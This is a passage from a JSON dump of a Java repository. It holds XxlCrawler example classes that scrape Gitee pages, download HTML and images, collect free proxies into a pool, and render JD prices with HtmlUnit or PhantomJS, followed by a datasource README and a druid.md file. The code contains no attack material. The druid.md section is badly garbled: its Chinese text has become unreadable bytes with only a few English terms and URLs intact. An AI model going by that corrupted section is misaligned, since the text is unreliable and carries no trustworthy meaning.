    "content": "package com.jun.plugin.crawler.test;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.parser.PageParser;\nimport com.jun.plugin.crawler.util.FileUtil;\n\n/**\n * 爬虫示例02：爬取页面，下载Html文件\n *\n * @author xuxueli 2017-10-09 19:48:48\n */\npublic class XxlCrawlerTest02 {\n\n    public static void main(String[] args) {\n\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setUrls(\"https://gitee.com/xuxueli0323/projects?page=1\")\n                .setWhiteUrlRegexs(\"https://gitee\\\\.com/xuxueli0323/projects\\\\?page=\\\\d+\")\n                .setThreadCount(3)\n                .setPageParser(new PageParser<Object>() {\n                    @Override\n                    public void parse(Document html, Element pageVoElement, Object pageVo) {\n\n                        // 文件信息\n                        String htmlData = html.html();\n                        String filePath = \"/Users/xuxueli/Downloads/tmp\";\n                        String fileName = FileUtil.getFileNameByUrl(html.baseUri(), XxlCrawlerConf.CONTENT_TYPE_HTML);\n\n                        // 下载Html文件\n                        FileUtil.saveFile(htmlData, filePath, fileName);\n                    }\n                })\n                .build();\n\n        System.out.println(\"start\");\n        crawler.start(true);\n        System.out.println(\"end\");\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest03.java",
    "content": "package com.jun.plugin.crawler.test;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.annotation.PageFieldSelect;\nimport com.jun.plugin.crawler.annotation.PageSelect;\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.parser.PageParser;\nimport com.jun.plugin.crawler.util.FileUtil;\n\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\n/**\n * 爬虫示例03：爬取页面，下载图片文件\n *\n * @author xuxueli 2017-10-09 19:48:48\n */\npublic class XxlCrawlerTest03 {\n\n    @PageSelect(cssQuery = \"body\")\n    public static class PageVo {\n\n        @PageFieldSelect(cssQuery = \"img\", selectType = XxlCrawlerConf.SelectType.ATTR, selectVal = \"abs:src\")\n        private List<String> images;\n\n        public List<String> getImages() {\n            return images;\n        }\n\n        public void setImages(List<String> images) {\n            this.images = images;\n        }\n\n        @Override\n        public String toString() {\n            return \"PageVo{\" +\n                    \"images=\" + images +\n                    '}';\n        }\n    }\n\n    public static void main(String[] args) {\n\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setUrls(\"https://gitee.com/xuxueli0323/projects?page=1\")\n                .setWhiteUrlRegexs(\"https://gitee\\\\.com/xuxueli0323/projects\\\\?page=\\\\d+\")\n                .setThreadCount(3)\n                .setPageParser(new PageParser<PageVo>() {\n                    @Override\n                    public void parse(Document html, Element pageVoElement, PageVo pageVo) {\n\n                        // 文件信息\n                        String filePath = \"/Users/xuxueli/Downloads/tmp\";\n\n                        if (pageVo.getImages()!=null && pageVo.getImages().size() > 0) {\n                            Set<String> imagesSet = new HashSet<>(pageVo.getImages());\n                            for (String img: imagesSet) {\n\n                                // 下载图片文件\n                                String fileName = FileUtil.getFileNameByUrl(img, null);\n                                boolean ret = FileUtil.downFile(img, XxlCrawlerConf.TIMEOUT_MILLIS_DEFAULT, filePath, fileName);\n                                System.out.println(\"down images \" + (ret?\"success\":\"fail\") + \"：\" + img);\n                            }\n                        }\n                    }\n                })\n                .build();\n\n        System.out.println(\"start\");\n        crawler.start(true);\n        System.out.println(\"end\");\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest04.java",
    "content": "package com.jun.plugin.crawler.test;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.parser.PageParser;\nimport com.jun.plugin.crawler.proxy.ProxyMaker;\nimport com.jun.plugin.crawler.proxy.strategy.RoundProxyMaker;\n\nimport java.net.InetSocketAddress;\nimport java.net.Proxy;\n\n/**\n * 爬虫示例04：爬取页面，代理IP方式\n * (免费代理可搜索获取，免费代理不稳定可以多试几个；仅供学习测试使用，如有侵犯请联系删除； )\n *\n * @author xuxueli 2017-10-09 19:48:48\n */\npublic class XxlCrawlerTest04 {\n\n\n    public static void main(String[] args) {\n\n        // 设置代理池\n        ProxyMaker proxyMaker = new RoundProxyMaker()\n                .addProxy(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(\"---\", 80)));\n\n        // 构造爬虫     (代理方式请求IP地址查询网IP138，可从页面响应确认代理是否生效)\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setUrls(\"http://2018.ip138.com/ic.asp\")\n                .setAllowSpread(false)\n                .setProxyMaker(proxyMaker)\n                .setPageParser(new PageParser<Object>() {\n                    @Override\n                    public void parse(Document html, Element pageVoElement, Object pageVo) {\n                        System.out.println(html.baseUri() + \"：\" + html.html());\n                    }\n                })\n                .build();\n\n        // 启动\n        System.out.println(\"start\");\n        crawler.start(true);\n        System.out.println(\"end\");\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest05.java",
    "content": "package com.jun.plugin.crawler.test;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.annotation.PageFieldSelect;\nimport com.jun.plugin.crawler.annotation.PageSelect;\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.model.PageRequest;\nimport com.jun.plugin.crawler.parser.PageParser;\nimport com.jun.plugin.crawler.util.JsoupUtil;\nimport com.jun.plugin.crawler.util.ProxyIpUtil;\n\nimport java.net.InetSocketAddress;\nimport java.net.Proxy;\nimport java.util.*;\n\n/**\n * 爬虫示例05：爬取公开的免费代理，生成动态代理池\n * (免费代理可从搜索获取，免费代理不稳定可以多试几个；仅供学习测试使用，如有侵犯请联系删除； )\n *\n * @author xuxueli 2017-10-09 19:48:48\n */\npublic class XxlCrawlerTest05 {\n    private static Logger logger = LoggerFactory.getLogger(XxlCrawlerTest05.class);\n\n    @PageSelect(cssQuery = \"#list > table > tbody > tr\")\n    public static class PageVo {\n\n        @PageFieldSelect(cssQuery = \"td:eq(0)\", selectType = XxlCrawlerConf.SelectType.TEXT)\n        private String ip;\n\n        @PageFieldSelect(cssQuery = \"td:eq(1)\", selectType = XxlCrawlerConf.SelectType.TEXT)\n        private int port;\n\n        public String getIp() {\n            return ip;\n        }\n\n        public void setIp(String ip) {\n            this.ip = ip;\n        }\n\n        public int getPort() {\n            return port;\n        }\n\n        public void setPort(int port) {\n            this.port = port;\n        }\n\n        @Override\n        public String toString() {\n            return \"PageVo{\" +\n                    \"ip='\" + ip + '\\'' +\n                    \", port=\" + port +\n                    '}';\n        }\n    }\n\n    public static void main(String[] args) {\n\n        // 代理池\n        final List<PageVo> proxyPool = new ArrayList<PageVo>();\n\n        // 构造爬虫\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setUrls(\"https://www.kuaidaili.com/free/inha/1/\")\n                .setWhiteUrlRegexs(\"https://www.kuaidaili.com/free/inha/\\\\b[1-2]/\")      // 前2页数据\n                //.setWhiteUrlRegexs(new HashSet<String>(Arrays.asList(\"https://www.kuaidaili.com/free/inha/\\\\\\\\d+/\")))      // 全部数据\n                .setThreadCount(5)\n                .setPageParser(new PageParser<PageVo>() {\n                    @Override\n                    public void parse(Document html, Element pageVoElement, PageVo pageVo) {\n                        if (pageVo.getPort() == 0) {\n                            return;\n                        }\n\n                        Proxy proxy = new Proxy(Proxy.Type.HTTP, new InetSocketAddress(pageVo.getIp(), pageVo.getPort()));\n                        if (ProxyIpUtil.checkProxy(proxy, null) == 200) {\n                            proxyPool.add(pageVo);\n                            logger.info(\"proxy pool size : {}, new proxy: {}\", proxyPool.size(), pageVo);\n                        }\n\n                    }\n                })\n                .build();\n\n        // 启动\n        crawler.start(true);\n\n        // 代理池数据\n        logger.info(\"----------- proxy pool total size : {} -----------\", proxyPool.size());\n        logger.info(proxyPool.toString());\n\n        // 校验代理池    (代理方式请求IP地址查询网IP138，可从页面响应确认代理是否生效)\n        logger.info(\"----------- proxy pool check -----------\");\n        if (proxyPool!=null && proxyPool.size()>0) {\n            for (PageVo pageVo: proxyPool) {\n                try {\n                    Document html = JsoupUtil.load(new PageRequest(\"http://2018.ip138.com/ic.asp\",\n                            null,\n                            null,\n                            null,\n                            XxlCrawlerConf.USER_AGENT_CHROME,\n                            null,\n                            false,\n                            XxlCrawlerConf.TIMEOUT_MILLIS_DEFAULT,\n                            false,\n                            new Proxy(Proxy.Type.HTTP, new InetSocketAddress(pageVo.getIp(), pageVo.getPort()))));\n                    logger.info(pageVo + \" : \" + html.html());\n                } catch (Exception e) {\n                    e.printStackTrace();\n                }\n\n            }\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest06.java",
    "content": "package com.jun.plugin.crawler.test;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.parser.PageParser;\nimport com.jun.plugin.crawler.rundata.RunData;\n\n/**\n * 爬虫示例06：分布式爬虫示例\n *\n * @author xuxueli 2018-02-08 16:56:46\n */\npublic class XxlCrawlerTest06 {\n\n    public static void main(String[] args) {\n\n        /**\n         * Redis RunData：通过Redis共享运行数据来实现分布式爬虫，也可以通过其他方式扩展实现，如DB等。（以伪代码进行讲解）\n         *\n         * 申请两个 Redis Key：\n         *\n         *      unVisitedUrl：待采集URL池\n         *      visitedUrl：已采集URL池\n         *\n         */\n        RunData redisRunData = new RunData() {\n\n            /**\n             * 新增一个待采集的URL，接口需要做URL去重，爬虫线程将会获取到并进行处理；\n             *\n             * @param link\n             */\n            @Override\n            public boolean addUrl(String link) {\n\n                /**\n                 * TODO:\n                 *\n                 * jedis.lpushx(unVisitedUrl, link);\n                 *\n                 */\n                return true;\n            }\n\n            /**\n             * 获取一个待采集的URL，并且将它从\"待采集URL池\"中移除，并且添加到\"已采集URL池\"中；\n             */\n            @Override\n            public String getUrl() {\n\n                /**\n                 * TODO:\n                 *\n                 * String link = jedis.rpop(unVisitedUrl);\n                 * jedis.lpushx(visitedUrl, link);\n                 *\n                 * return link;\n                 */\n                return null;\n            }\n\n            /**\n             * 获取待采集URL数量；\n             */\n            @Override\n            public int getUrlNum() {\n\n                /**\n                 * TODO:\n                 *\n                 * int length = jedis.llen(unVisitedUrl);\n                 * return length;\n                 */\n                return 0;\n            }\n\n        };\n\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setRunData(redisRunData)\n                .setUrls(\"https://gitee.com/xuxueli0323/projects?page=1\")\n                .setWhiteUrlRegexs(\"https://gitee\\\\.com/xuxueli0323/projects\\\\?page=\\\\d+\")\n                .setThreadCount(3)\n                .setPageParser(new PageParser<Object>() {\n                    @Override\n                    public void parse(Document html, Element pageVoElement, Object pageVo) {\n                        String pageUrl = html.baseUri();\n                        System.out.println(pageUrl + \"：\" + html.html());\n                    }\n                })\n                .build();\n\n        System.out.println(\"start\");\n        crawler.start(true);\n        System.out.println(\"end\");\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest07.java",
    "content": "package com.jun.plugin.crawler.test;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.annotation.PageFieldSelect;\nimport com.jun.plugin.crawler.annotation.PageSelect;\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.loader.strategy.HtmlUnitPageLoader;\nimport com.jun.plugin.crawler.parser.PageParser;\n\n/**\n * 爬虫示例07：JS渲染方式采集数据，\"htmlUnit\" 方案\n * (仅供学习测试使用，如有侵犯请联系删除； )\n *\n * @author xuxueli 2017-12-29 23:29:48\n */\npublic class XxlCrawlerTest07 {\n    private static Logger logger = LoggerFactory.getLogger(XxlCrawlerTest05.class);\n\n    @PageSelect(cssQuery = \"body\")\n    public static class PageVo {\n\n        @PageFieldSelect(cssQuery = \"#jd-price\", selectType = XxlCrawlerConf.SelectType.TEXT)\n        private String data;\n\n        public String getData() {\n            return data;\n        }\n\n        public void setData(String data) {\n            this.data = data;\n        }\n    }\n\n    public static void main(String[] args) {\n\n        // 构造爬虫\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setUrls(\"https://item.jd.com/12228194.html\")\n                .setAllowSpread(false)\n                .setPageLoader(new HtmlUnitPageLoader())        // HtmlUnit 版本 PageLoader：支持 JS 渲染\n                .setPageParser(new PageParser<PageVo>() {\n                    @Override\n                    public void parse(Document html, Element pageVoElement, PageVo pageVo) {\n                        if (pageVo.getData() != null) {\n                            logger.info(\"商品价格（JS动态渲染方式获取）: {}\", pageVo.getData());\n                        } else {\n                            logger.info(\"商品价格（JS动态渲染方式获取）: 获取失败\");\n                        }\n\n                    }\n                })\n                .build();\n\n        // 启动\n        crawler.start(true);\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest08.java",
    "content": "package com.jun.plugin.crawler.test;\n\nimport org.jsoup.nodes.Document;\nimport org.jsoup.nodes.Element;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.annotation.PageFieldSelect;\nimport com.jun.plugin.crawler.annotation.PageSelect;\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.loader.strategy.SeleniumPhantomjsPageLoader;\nimport com.jun.plugin.crawler.parser.PageParser;\n\n/**\n * 爬虫示例08：JS渲染方式采集数据，\"selenisum + phantomjs\" 方案\n * (仅供学习测试使用，如有侵犯请联系删除； )\n *\n * @author xuxueli 2018-10-16\n */\npublic class XxlCrawlerTest08 {\n    private static Logger logger = LoggerFactory.getLogger(XxlCrawlerTest05.class);\n\n    @PageSelect(cssQuery = \"body\")\n    public static class PageVo {\n\n        @PageFieldSelect(cssQuery = \"#jd-price\", selectType = XxlCrawlerConf.SelectType.TEXT)\n        private String data;\n\n        public String getData() {\n            return data;\n        }\n\n        public void setData(String data) {\n            this.data = data;\n        }\n    }\n\n    public static void main(String[] args) {\n\n        /**\n         * phantomjs driver （驱动设置：方式一、驱动文件地址作为入参传入；方式二：加入环境变量 'System.setProperty(\"phantomjs.binary.path\", driverPath);'，入参可空；）\n         *\n         * http://phantomjs.org/download.html\n         */\n        String driverPath = \"/Users/xuxueli/Downloads/phantomjs-2.1.1-macosx/bin/phantomjs\";\n\n\n        // 构造爬虫\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setUrls(\"https://item.jd.com/12228194.html\")\n                .setAllowSpread(false)\n                .setPageLoader(new SeleniumPhantomjsPageLoader(driverPath))        // \"selenisum + phantomjs\" 版本 PageLoader：支持 JS 渲染\n                .setPageParser(new PageParser<PageVo>() {\n                    @Override\n                    public void parse(Document html, Element pageVoElement, PageVo pageVo) {\n                        if (pageVo.getData() != null) {\n                            logger.info(\"商品价格（JS动态渲染方式获取）: {}\", pageVo.getData());\n                        } else {\n                            logger.info(\"商品价格（JS动态渲染方式获取）: 获取失败\");\n                        }\n\n                    }\n                })\n                .build();\n\n        // 启动\n        crawler.start(true);\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/XxlCrawlerTest09.java",
    "content": "package com.jun.plugin.crawler.test;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.XxlCrawler;\nimport com.jun.plugin.crawler.parser.strategy.NonPageParser;\n\n/**\n * 爬虫示例09：采集非Web页面，如JSON接口等，直接输出响应数据\n *\n * @author xuxueli 2018-10-17\n */\npublic class XxlCrawlerTest09 {\n    private static Logger logger = LoggerFactory.getLogger(XxlCrawlerTest05.class);\n\n    public static void main(String[] args) {\n\n        // 构造爬虫\n        XxlCrawler crawler = new XxlCrawler.Builder()\n                .setUrls(\"http://news.baidu.com/widget?id=LocalNews&ajax=json\")\n                .setPageParser(new NonPageParser() {\n                    @Override\n                    public void parse(String url, String pageSource) {\n                        System.out.println(url + \": \" + pageSource);\n                    }\n                })\n                .build();\n\n        // 启动\n        crawler.start(true);\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/util/FileUtilTest.java",
    "content": "package com.jun.plugin.crawler.test.util;\n\nimport org.junit.Test;\n\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.util.FileUtil;\n\n/**\n * page downloader test\n *\n * @author xuxueli 2017-10-09 17:47:13\n */\npublic class FileUtilTest {\n\n    /**\n     * 生成Html本地文件\n     */\n    @Test\n    public void saveFileTest() {\n\n        String htmlData = \"<html>Hello world.</html>\";\n        String filePath = \"/Users/xuxueli/Downloads/tmp\";\n        String fileName = FileUtil.getFileNameByUrl(\"http://www.baidu.com/\",\tXxlCrawlerConf.CONTENT_TYPE_HTML);\n\n        FileUtil.saveFile(htmlData, filePath, fileName);\n    }\n\n}\n\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/util/IOUtilTest.java",
    "content": "package com.jun.plugin.crawler.test.util;\n\nimport com.jun.plugin.crawler.util.IOUtil;\n\n/**\n * io util test\n *\n * @author xuxueli 2017-11-08 13:33:04\n */\npublic class IOUtilTest {\n\n    public static void main(String[] args) {\n        System.out.println(IOUtil.toString(IOUtil.toInputStream(\"qwe123阿斯达\", null), null));\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/util/JsoupUtilTest.java",
    "content": "package com.jun.plugin.crawler.test.util;\n\nimport org.jsoup.nodes.Document;\nimport org.junit.Test;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\nimport com.jun.plugin.crawler.conf.XxlCrawlerConf;\nimport com.jun.plugin.crawler.model.PageRequest;\nimport com.jun.plugin.crawler.util.JsoupUtil;\n\nimport java.util.*;\n\n/**\n * jsoup tool test\n *\n * @author xuxueli 2017-10-09 17:47:13\n */\npublic class JsoupUtilTest {\n    private static Logger logger = LoggerFactory.getLogger(JsoupUtilTest.class);\n\n        /**\n     * 加载解析页面\n     */\n    @Test\n    public void loadParseTest(){\n        String url = \"http://www.baidu.com/\";\n\n        Document html = JsoupUtil.load(new PageRequest(url, null, null, null,\n                XxlCrawlerConf.USER_AGENT_CHROME, null, false, XxlCrawlerConf.TIMEOUT_MILLIS_DEFAULT, false, null));\n        logger.info(html.html());\n    }\n\n    /**\n     * 获取页面上所有超链接地址\n     */\n    @Test\n    public void findLinksTest() {\n        String url = \"http://www.baidu.com/\";\n\n        Document html = JsoupUtil.load(new PageRequest(url, null, null, null,\n                XxlCrawlerConf.USER_AGENT_CHROME, null, false, XxlCrawlerConf.TIMEOUT_MILLIS_DEFAULT, false,null));\n        Set<String> linkList = JsoupUtil.findLinks(html);\n\n        logger.info(\"link num {}\", linkList.size());\n        if (linkList!=null && linkList.size() > 0) {\n            for (String link : linkList) {\n                logger.info(link);\n            }\n        }\n\n    }\n\n    /**\n     * 获取页面上所有图片地址\n     */\n    @Test\n    public void findImagesTest() {\n        String url = \"http://www.baidu.com/\";\n\n        Document html = JsoupUtil.load(new PageRequest(url, null, null, null,\n                XxlCrawlerConf.USER_AGENT_CHROME, null, false, XxlCrawlerConf.TIMEOUT_MILLIS_DEFAULT, false,null));\n        Set<String> linkList = JsoupUtil.findImages(html);\n\n        logger.info(\"images num {}\", linkList.size());\n        if (linkList!=null && linkList.size() > 0) {\n            for (String link : linkList) {\n                logger.info(link);\n            }\n        }\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/util/ProxyIpUtilTest.java",
    "content": "package com.jun.plugin.crawler.test.util;\n\nimport java.net.InetSocketAddress;\nimport java.net.Proxy;\n\nimport com.jun.plugin.crawler.util.ProxyIpUtil;\n\n/**\n * proxy ip util test\n *\n * @author xuxueli 2017-11-08 13:35:16\n */\npublic class ProxyIpUtilTest {\n\n    public static void main(String[] args) {\n        int code = ProxyIpUtil.checkProxy(new Proxy(Proxy.Type.HTTP, new InetSocketAddress(\"---\", 80)), null);\n        System.out.println(code);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/util/RegexUtilTest.java",
    "content": "package com.jun.plugin.crawler.test.util;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport com.jun.plugin.crawler.util.RegexUtil;\n\n/**\n * regex tool test\n *\n * @author xuxueli 2017-10-10 15:30:29\n */\npublic class RegexUtilTest {\n\n\n    /**\n     * regex match\n     */\n    @Test\n    public void matchesTest(){\n        String regex = \"https://my\\\\.oschina\\\\.net/xuxueli/blog/\\\\d+\";\n        String url = \"https://my.oschina.net/xuxueli/blog/690978\";\n\n        boolean ret = RegexUtil.matches(regex, url);\n        Assert.assertTrue(ret);\n    }\n\n    /**\n     * url格式校验\n     */\n    @Test\n    public void isUrlTest(){\n        String url = \"http://www.baidu.com/\";\n\n        boolean ret = RegexUtil.isUrl(url);\n        Assert.assertTrue(ret);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/java/com/jun/plugin/crawler/test/util/UrlUtilTest.java",
    "content": "package com.jun.plugin.crawler.test.util;\n\nimport org.junit.Assert;\nimport org.junit.Test;\n\nimport com.jun.plugin.crawler.util.UrlUtil;\n\n/**\n * url tool test\n *\n * @author xuxueli 2017-10-10 14:58:21\n */\npublic class UrlUtilTest {\n\n    /**\n     * url格式校验\n     */\n    @Test\n    public void isUrlTest(){\n        String url = \"http://www.baidu.com/\";\n\n        boolean ret = UrlUtil.isUrl(url);\n        Assert.assertTrue(ret);\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_crawler/src/test/resources/log4j.properties",
    "content": "log4j.rootLogger=info,console\n\n# console\nlog4j.appender.console=org.apache.log4j.ConsoleAppender\nlog4j.appender.console.layout=org.apache.log4j.PatternLayout\nlog4j.appender.console.layout.ConversionPattern=%d - %p [%c] - <%m>%n"
  },
  {
    "path": "jun_java_plugins/jun_datasource/README.md",
    "content": "###  jun_datasource集成了DBCP、C3P0，Druid、BONECP、Hikari等JDBC数据源连接池\n#### Description 功能\n1、数据源适配集使用\n2、bonecp数据源\n3、c3p0数据源\n4、dbcp数据源\n5、druid数据源\n6、hikari数据源\n7、jdbc数据源\n8、提供DataSourceUtil工具\n\n\n#### Installation 安装使用\n\n1、配置POM\n2、直接参考Demo\n\n\n#### Documents 文档\n\n1、文档如下\n2、/jun_datasource/doc \n\n\n#### Feature 计划\n\n1、提供通用的jar\n2、提供通用的API接口\n2、提供后端服务化接口\n\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_datasource/doc/druid.md",
    "content": "Druidܼ\n\n1.ʲôDruid\nDruidһЧݲѯϵͳҪǶڴĻʱݽоۺϲѯݿʵʱ룬뵽Druidɲ飬ͬʱǼǲɱ䡣ͨǻʱʵ¼ʵDruidⲿϵͳͿԶԸʵвѯ\nDruidõļܹ:\nshared-nothingܹlambdaܹ\nDruidԭ:\n1.ٲѯFast Query : ݾۺϣPartial Aggregate + ڴ滪In-Memory + Index\n2.ˮƽչHorizontal Scalability:ֲʽݣDistributed data+лѯParallelizable Query\n3.ʵʱRealtime AnalyticsImmutable Past , Append-Only Future\n\n2.Druidļص\n\n֧ʽʵʱ\nѯҿ\n\n3.Druid\nDruid֮ǰҪһԴDataSource,ݿбĸ\nDruidһֲʽݷƽ̨,Ҳһʱݿ\n1.ݸʽ\nݼϣʱУάУָУ\nݽṹ\nDataSourceSegmentݽṹDataSource൱ڹϵݿеı\nDataSource\nʱУTimeStampʶÿݵʱֵ\nάУDimensionʶеĸϢ\nָУMetric:ھۺϺͼ\nSegmentṹ\nDataSource߼ṹSegmentʵʴ洢ṹDruidͨSegmentʵֶݵĺи\nиͨsegmentGranularityDruidͬʱ䷶Χڵݴ洢ڲͬSegmentݿС\nиSegmentнѹ\n\núGranularity\nsegmentGranularitysegmentȡ\nqueryGranularity segmentľۺȡ\nqueryGranularity Сڵ segmentGranularity\nsegmentGranularity = dayôDruidᰴѲͬݴ洢ڲͬSegmentС\nqueryGranularity =none,ԲѯȣqueryGranularity = hourֻܲѯ>=hourȵ\n\n2.\nʵʱ\n\n\n3.ݲѯ\nԭѯJSONʽͨhttp\n\n4.ʱݿ\n1.OpenTSDB\nԴʱݿ⣬֧ǧڵݵ㣬ṩȷݲѯ\njavaдͨHbaseĴ洢ʵֺչ\n˼·Hbasekey洢һЩtagϢͬһСʱݷһд洢˲ѯٶ\nܹʾͼ\n\n2.Pinot\nӽDruidϵͳ\nPinotҲLambdaܹʵʱݷֿ\nRealtime Nodeʵʱݲѯ\nHistorical Nodeʷ\nص㣺\nʽ洢ݿ⣬ֶ֧ѹ\nɲ  Sorted index Bitmap index Inverted index\nԸQuerySegmentԪݽвѯִмƻŻ\nkafkaʵʱݺʹhadoopݹ\nSQLĲѯԺ͸ֳþۺ\nֵֶֶ֧\nˮƽչݴ\nPinotܹͼ\n\n3.Druidܹ\n\nDruidĸڵ㣺\nʵʱڵ㣨Realtime :ʱʵʱݣԼSegmentļ\nʵʱڵ㸺ʵʱݣʵʱȻᱻֱӼؽʵʱڵڴеĶѽṹʱ\nݻᱻдӲγһݿ飨Segment SplitͬʱʵʱڵֻɵݿصڴķǶ\nǶѽṹǷǶݶܱѯڵ㣨Broker Nodeѯ\nʷڵ(Historical Node):ѾɺõļԹݲѯ\nѯڵ(Broker Node)ṩݲѯ񣬲ͬʱʵʱڵʷڵѯݣϲ󷵻ظ÷\nЭڵ㣨Coordinator Nodeʷڵݸؾ⣬ԼͨRuleݵ\n\nȺⲿ\nԪݿ⣨Metastore洢DruidȺԭϢSegmentϢһMySqlPostgreSQL\nֲʽЭCoordination:ΪDruidȺṩһЭͨΪZookeeper\nļ洢ϵͳDeepStorageɵSegmentļʷڵءڵڵ㼯ȺǱش̣ڷֲʽȺһHDFSNFS\n\nʵʱڵݿʾͼ\n\n\nݿ\n\nRealtime Node ʵʱڵ㣺\n1.ͨFirehoseʵʱݣFirehoseDruidʵʱݵģ\n2.ʵʱڵͨһSegmentļģPlumberʵRealtimePlumberȣָڣʱݿϲһSegmentļ\n\nHistorical Nodeʷڵ\n\nʷڵʱ \n1ȥԼػѾڵSegmentļ\n2DeepStoregeԼĿǰԼشϵSegmentļ\nۺֲѯʷڵȽSegmentļӴ̼صڴ棬Ȼṩѯ\n\nBroker Nodeڵ㣺\nDruidṩΪCacheԹѡ\nⲿCache,Memcached\nCache,ѯڵʷڵڴΪcache\n\n߿ԣ\nͨNginxؾѯڵ㣨Broker Node\n\n\nЭڵ㣺\nЭڵ㣨Coordinator Nodeʷڵݸؾ⣬Լͨݵ\n\n4.\n\n1.ڵ㣺overlord\nģʽ\nģʽLocal ModeĬģʽڵ㸺ȺЭ乤ҲܹһЩ๤Peonһ־\nԶģʽRemoteģʽ£ڵӽڵڲͬĽڵϣȺЭ乤ɾڵṩRESTfulķʷ˿ͻ˿ͨHTTP POST\nڵύ\nʽ£\nhttp://<ioverlord_ip>:port/druid/indexer/v1/task\nɾhttp://<ioverlord_ip>:port/druid/indexer/v1/task/{taskId}/shutdown\n̨http://<ioverlord_ip>:port/console.html\n\n2.ӽڵ㣺Middle Manager\nĹڵ㣬ڵķȻصĿ๤JVMɾ\nļܹHadoop YARN\nڵ൱YarnResourceManager,ȺԴ\nӽڵ൱YarnNodeManager,ڵԴ\nPeon(๤)൱YarnContainer,ھڵϸִ\n\n⣺\nϰ汾Druidʹpullʽkafkaݣʹkafka consumer groupͬһkafka topicݣڵḺһtopicPartitionݣ֤ͬһPartitionᱻһʵʱڵѡÿһʵʱڵɲݵѺ󣬻ѽȣkafka topic offsetύZookeeperȺ\nڵ㲻ʱkafka consumer group ڶпõĽڵpartition·䣬нڵ㽫ݼ¼zkȺÿһpartitionoffsetδѵݣӶ֤κʱ򶼻ᱻDruidȺһΡ\nȻܱ֤ýڵδѵpartitionᱻ๤ĽڵѵǲýڵѾѵݣδ͵DeepStoreageδʷڵصSegmentȴᱻȺ©ǻkafka-eight Firehoseѷʽһȱݡ\n\n1.òýڵָ»صȺΪýڵ㣬Ὣ֮ǰѾɵδϴSegmentļͳͳػպϲ͵DeepStoreage֤\n2.ʹTranquilityIndexing Service,kafkaݽоȷ뱸ݡ\nTranquilityͨpushķʽָDruidȺͬʱͬһpartitionԵĳʧʱϵͳȻ׼ȷѡʹһͬSegmentݿ"
  },
  {
    "path": "jun_java_plugins/jun_datasource/pom.xml",
